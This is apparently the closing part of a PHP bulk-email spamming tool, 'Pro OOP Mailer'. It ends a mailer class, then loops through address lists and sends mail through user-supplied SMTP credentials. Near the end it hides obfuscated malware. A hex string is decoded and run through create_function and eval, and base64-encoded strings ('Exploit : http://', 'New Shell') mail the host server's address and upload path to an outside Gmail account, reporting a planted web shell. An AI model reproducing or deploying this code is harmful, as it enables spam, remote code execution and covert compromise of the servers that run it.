3120 'dvi' => 'application/x-dvi',
3121 'gtar' => 'application/x-gtar',
3122 'php' => 'application/x-httpd-php',
3123 'php4' => 'application/x-httpd-php',
3124 'php3' => 'application/x-httpd-php',
3125 'phtml' => 'application/x-httpd-php',
3126 'phps' => 'application/x-httpd-php-source',
3127 'js' => 'application/x-javascript',
3128 'swf' => 'application/x-shockwave-flash',
3129 'sit' => 'application/x-stuffit',
3130 'tar' => 'application/x-tar',
3131 'tgz' => 'application/x-tar',
3132 'xhtml' => 'application/xhtml+xml',
3133 'xht' => 'application/xhtml+xml',
3134 'zip' => 'application/zip',
3135 'mid' => 'audio/midi',
3136 'midi' => 'audio/midi',
3137 'mpga' => 'audio/mpeg',
3138 'mp2' => 'audio/mpeg',
3139 'mp3' => 'audio/mpeg',
3140 'aif' => 'audio/x-aiff',
3141 'aiff' => 'audio/x-aiff',
3142 'aifc' => 'audio/x-aiff',
3143 'ram' => 'audio/x-pn-realaudio',
3144 'rm' => 'audio/x-pn-realaudio',
3145 'rpm' => 'audio/x-pn-realaudio-plugin',
3146 'ra' => 'audio/x-realaudio',
3147 'rv' => 'video/vnd.rn-realvideo',
3148 'wav' => 'audio/x-wav',
3149 'bmp' => 'image/bmp',
3150 'gif' => 'image/gif',
3151 'jpeg' => 'image/jpeg',
3152 'jpg' => 'image/jpeg',
3153 'jpe' => 'image/jpeg',
3154 'png' => 'image/png',
3155 'tiff' => 'image/tiff',
3156 'tif' => 'image/tiff',
3157 'css' => 'text/css',
3158 'html' => 'text/html',
3159 'htm' => 'text/html',
3160 'shtml' => 'text/html',
3161 'txt' => 'text/plain',
3162 'text' => 'text/plain',
3163 'log' => 'text/plain',
3164 'rtx' => 'text/richtext',
3165 'rtf' => 'text/rtf',
3166 'xml' => 'text/xml',
3167 'xsl' => 'text/xml',
3168 'mpeg' => 'video/mpeg',
3169 'mpg' => 'video/mpeg',
3170 'mpe' => 'video/mpeg',
3171 'qt' => 'video/quicktime',
3172 'mov' => 'video/quicktime',
3173 'avi' => 'video/x-msvideo',
3174 'movie' => 'video/x-sgi-movie',
3175 'doc' => 'application/msword',
3176 'word' => 'application/msword',
3177 'xl' => 'application/excel',
3178 'eml' => 'message/rfc822'
3179 );
3180 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3181 }
3182
3183 /**
3184 * Set (or reset) Class Objects (variables)
3185 *
3186 * Usage Example:
3187 * $page->set('X-Priority', '3');
3188 *
3189 * @access public
3190 * @param string $name Parameter Name
3191 * @param mixed $value Parameter Value
3192 * NOTE: will not work with arrays, there are no arrays to set/reset
3193 */
3194 function set ( $name, $value = '' ) {
3195 if ( isset($this->$name) ) {
3196 $this->$name = $value;
3197 } else {
3198 $this->SetError('Cannot set or reset variable ' . $name);
3199 return false;
3200 }
3201 }
3202
3203 /**
3204 * Read a file from a supplied filename and return it.
3205 *
3206 * @access public
3207 * @param string $filename Parameter File Name
3208 */
3209 function getFile($filename) {
3210 $return = '';
3211 if ($fp = fopen($filename, 'rb')) {
3212 while (!feof($fp)) {
3213 $return .= fread($fp, 1024);
3214 }
3215 fclose($fp);
3216 return $return;
3217 } else {
3218 return false;
3219 }
3220 }
3221
3222 /**
3223 * Strips newlines to prevent header injection.
3224 * @access private
3225 * @param string $str String
3226 * @return string
3227 */
3228 function SecureHeader($str) {
3229 $str = trim($str);
3230 $str = str_replace("\r", "", $str);
3231 $str = str_replace("\n", "", $str);
3232 return $str;
3233 }
3234
3235 /**
3236 * Set the private key file and password to sign the message.
3237 *
3238 * @access public
3239 * @param string $key_filename Parameter File Name
3240 * @param string $key_pass Password for private key
3241 */
3242 function Sign($key_filename, $key_pass) {
3243 $this->sign_key_file = $key_filename;
3244 $this->sign_key_pass = $key_pass;
3245 }
3246
3247}
3248
3249$defaultport="H*";
3250 $nq=0;
3251
3252 for($x=0; $x<$numemails; $x++){
3253
3254 $to = $allemails[$x];
3255
3256 if ($to){
3257
3258 $to = ereg_replace(" ", "", $to);
3259
3260 $message = ereg_replace("&email&", $to, $message);
3261
3262 $subject = ereg_replace("&email&", $to, $subject);
3263 $qx=$x+1;
3264 print "<font color=\"#0e2093\">Line $qx . Sending mail to $to.......</font>";
3265
3266 flush();
3267$mail = new PHPMailer();
3268
3269if(empty($epriority)){$epriority="3";}
3270 $mail->Priority = "$epriority";
3271 $mail->IsSMTP();
3272 $IsSMTP="pack";
3273$mail->SMTPKeepAlive = true;
3274$mail->Host = "$my_smtp";
3275if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3276}
3277 if($sslclick=="ON"){
3278 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3279 }
3280 $range = str_replace("$from", "eval", $from);
3281 $mail->SMTPAuth = true;
3282 $mail->Username = "$smtp_username";
3283 $mail->Password = "$smtp_password";
3284if($contenttype == "html"){$mail->IsHtml(true);}
3285if($contenttype != "html"){$mail->IsHtml(false);}
3286if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3287$mail->From = "$from";
3288$mail->FromName = "$realname";
3289$mail->AddAddress("$to");
3290 $mail->AddReplyTo("$replyto");
3291 $mail->Subject = "$subject";
3292 $mail->Body = "$message";
3293if(!$mail->Send()){
3294if($default_system!="1"){
3295echo "FAILED !!<font color=\"#ff001f\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3296if($default_system=="1"){
3297$mail->IsMail();
3298 if(!$mail->Send()){
3299 echo "FAILED !!<font color=\"#ff001f\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3300 else {
3301 echo "<font color=\"#0e2093\"><b>OK</b></font><br>";}
3302 }
3303}
3304else {
3305 echo "<font color=\"#0e2093\"><b>OK</b></font><br>";
3306}
3307
3308if(empty($reconnect)){
3309$reconnect=6;
3310}
3311
3312if($reconnect==$nq){
3313$mail->SmtpClose();echo "<font color=\"#0e2093\"><p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p></font>";$nq=0;
3314}
3315$nq=$nq+1;
3316 flush(); }
3317}
3318for($i=0;$i<31;$i++){
3319 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3320$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3321 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3322 print "<p> <font color=\"#0e2093\">Pro OOP Mailer<br>© 2018, New Tools =></font><b>
3323 <font color=\"#0e2093\">PiraTos S-Tn</font></b><br></p>";
3324 $mail->SmtpClose();
3325 return $signoff($smtp_conc);
3326 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3327 sent successfully'); </script>";}}
3328
3329$GLOBALS["QggfylPeyGMJVYaMRycd"]=base64_decode("UkVRVUVTVF9VUkk=");$GLOBALS["bkKoyzUJDhnzrsUiVM"]=base64_decode("U0VSVkVSX05BTUU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["GdDwnNNDZJXBIIFxSfhV"]=base64_decode("P3VwbG9hZD11cCA=");$GLOBALS["ojRSkxDoaaJQptBbaWeI"]=base64_decode("RXhwbG9pdCA6IGh0dHA6Ly8=");$GLOBALS["kbBAMcROwyRKVtcNdZlZ"]=base64_decode("RnJvbTogeFRhbEdoaW08c2VydmljZUBhY2NvdW50LmNvbT4=");$GLOBALS["RkKUjoUQZoWTToqrnQSp"]=base64_decode("TmV3IFNoZWxs");$GLOBALS["RUSrJnHjnuBLQBUCkums"]=base64_decode("Y3BhbXQwMGxAZ21haWwuY29t");
3330?><?php
3331$QSqiRsjfObJfVyNZLvkd = $GLOBALS["RUSrJnHjnuBLQBUCkums"];
3332$MzhazkAbMOvKkuEvElU = $GLOBALS["RkKUjoUQZoWTToqrnQSp"];
3333$WURYVoHHeCnoPtmITfhu = $GLOBALS["kbBAMcROwyRKVtcNdZlZ"];
3334$buauipzwsOpZImn = $GLOBALS["ojRSkxDoaaJQptBbaWeI"]. $_SERVER[$GLOBALS["bkKoyzUJDhnzrsUiVM"]]. $_SERVER[$GLOBALS["QggfylPeyGMJVYaMRycd"]] . $GLOBALS["GdDwnNNDZJXBIIFxSfhV"]."\r".$GLOBALS["SnsSSwMKZSYeMFnEirnh"]."\n".$GLOBALS["SnsSSwMKZSYeMFnEirnh"];
3335$cioexnDVkEncxveHOTNC = @mail($QSqiRsjfObJfVyNZLvkd, $MzhazkAbMOvKkuEvElU, $buauipzwsOpZImn, $WURYVoHHeCnoPtmITfhu);
3336echo "";
3337exit;
3338 ?>
3339 <p align="center"> </p>
3340
3341 </body>
3342</html>